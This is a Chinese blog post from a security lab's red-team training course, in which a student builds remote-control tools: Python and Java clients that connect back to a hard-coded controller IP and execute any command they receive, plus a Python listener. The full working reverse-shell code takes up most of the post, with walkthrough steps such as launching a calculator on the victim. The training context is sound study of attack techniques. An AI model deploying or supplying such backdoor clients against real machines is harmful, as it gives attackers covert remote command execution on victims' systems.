前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >实战多种方式实现远程控制

实战多种方式实现远程控制

作者头像
Ms08067安全实验室
发布2022-02-17 15:22:11
发布2022-02-17 15:22:11
65400
代码可运行
举报
运行总次数:0
代码可运行

文章来源|MS08067 红队培训班 第5期

本文作者:(红队培训班5期学员)

作业的思路是实现控制端(Server)对受控端(Client)的远程控制;在作业中,将以python代码 以及 java代码实现受控端、nc以及python代码实现控制端,尝试不同的远程方式。

本次作业 技术含量不高,主要是将重点放在远控方式的多样思路拓展上。作业能够入选离不开老师和班内大神的技术结晶共享,特此致谢。

将以4种方式展示远控过程:

简单多样远控实现 Level 1: Client(python) + NC Level 2: Client(python) + Server(python) Level 3: Client(java) + NC Level 4: Client(java) + Server(python)

Level 1: Client(python) + NC

Client代码:

代码语言:javascript
代码运行次数:0
复制
import socket
import os

def Client():
    # AF_INET表示使用IPV4协议,SOCK_STREAM表示使用TCP协议
           s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
           try:
        # 控制端的IP以硬编码形式写在代码中,被控端将主动连接这个IP
                      s.connect(("192.168.181.145",5551))
           except Exception as e:
                      print("server not found or closed")
           while True:
        #接收控制端的输入,1024表示1024个缓冲字节
                      command=s.recv(1024).decode()
        #这里注意exit后面要跟换行符,否则exit不会被匹配上,也会被当命令执行到受控端
                      if command.lower()=='exit\n':
                                 break
                      else:
            # 执行控制端发来的命令,这里使用os.system()和subprocess.Popen也可以
                                 result=os.popen(command,'r',1).read()
                      try:
            # 将结果返回给控制端
                                 s.send(result.encode("UTF-8"))
                      except Exception as e:
                                 s.send("命令错误".encode("UTF-8"))
           s.close()

if __name__=='__main__':
           Client()

1.控制端(192.168.181.145)监听本地端口5551:

2.受控端(192.168.181.189)执行python代码:

3.控制端收到请求,输入一些命令:

4.可以看到受控端的信息同步,无法识别的信息会显示在窗口,可以看到此种方式还不能实现任意代码执行(比如创建文件):

Level 2: Client(python) + Server(python)

可以看到socket通信中,client和server各自的通信流程:

按照以上流程,可以写出Server(控制端)代码:

代码语言:javascript
代码运行次数:0
复制
import socket

def Server():
           s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    # 绑定本机地址的5551端口
           s.bind(("",5551))
    # 允许最大连接数是3个
           s.listen(3)
    # 等待受控端的连接请求
           conn,addr=s.accept()
           #print("Connected by "+addr)
           while True:
                      command=input("请输入命令\n")
                      try:
#                                 print(command.encode())
                                 # 向受控端发送指令
                                 conn.sendall(command.encode())
                                 # 接收回显并显示
                                 result=conn.recv(1024)          
                                 print(result.decode())
                      except Exception as e:
                                 print("发生异常")
           conn.close()
           s.close()

if __name__=='__main__':
           Server()

分别执行server.py和client.py,相较于nc的好处,可以实现更多指令的执行(touch指令):

控制端:

受控端:

Level 3: Client(java) + NC

代码参考老师课上写的,不过没有用到 ByteArrayToHexStr 和 HexStrToStr 两个方法,而是使用了Base64方法将接收的字节数组形式的数据 转换为字符串格式,这里参考了班里某位大神的思路

代码语言:javascript
代码运行次数:0
复制
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class App {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.181.189", 5678);
            while (true) {
                // 接收控制端的传输数据,以inputstream形式接收
                InputStream inputStream = socket.getInputStream();
                // byte by byte
                byte[] bytes = new byte[1];
                String info = "";
                while (true) {
                    // 如果流里有东西
                    if (inputStream.available() > 0) {
                        //,就读取信息,读到上面定义的bytes数组里面
                        inputStream.read(bytes);
                        // 这里进行了修改,作用是将接收的字节数组形式的数据 转换为字符串格式,参考了班里大神的方法
                        String hexStr = Base64.getEncoder().encodeToString(bytes);
                        byte[] decoded = Base64.getDecoder().decode(hexStr);
                        // info就是接收到的 字符串形式的server传来的命令
                        info += new String(decoded);
//                        String hexStr = ByteArrayToHexStr(bytes);
//                        info += HexStrToStr(hexStr);
                        // 如果流里的内容读取完毕了
                        if (inputStream.available() == 0) {
                            //读取到的内容去除首位空格
                            info = info.trim();
                            //如果内容是一个exit就结束程序
                            if (info.equals("exit")) {
                                return;
                            }
                            try {
                                //命令执行
                                Process exec = Runtime.getRuntime().exec(info);
                                // 读取回显内容
                                InputStream results = exec.getInputStream();
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                // 准备传回数据,创建了数据输出流dataOutputStream
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                String line;
                                // 将返回结果后面加上换行符,避免与下一条用户命令在视觉上混淆
                                while ((line = reader.readLine()) != null) {
                                    dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
                                    // 清空缓冲区
                                    dataOutputStream.flush();
                                }
                                exec.waitFor();
                                // 与python中的.close()作用相同
                                results.close();
                                reader.close();
                                exec.destroy();
                                break;
                            } catch (Exception e) {
                                continue;
                            } finally {
                                info = "";
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

1.控制端监听端口,受控端执行java代码

2.可以看到回连成功,在控制端执行弹计算器指令:

受控端成功弹出计算器

Level 4: Client(java) + Server(python)

启动上述server(python):

启动上述受控端(java):

可以看出,仍然可以实现任意命令执行,网络通信是不区分编程语言的

不足与改进

时间有限,有几点亟需改进:

1.python代码中,对用户非法输入的处理机制欠优化

2.python代码中,输入无回显的指令(比如 calctouch )后,无法继续进行命令输入

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-01-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档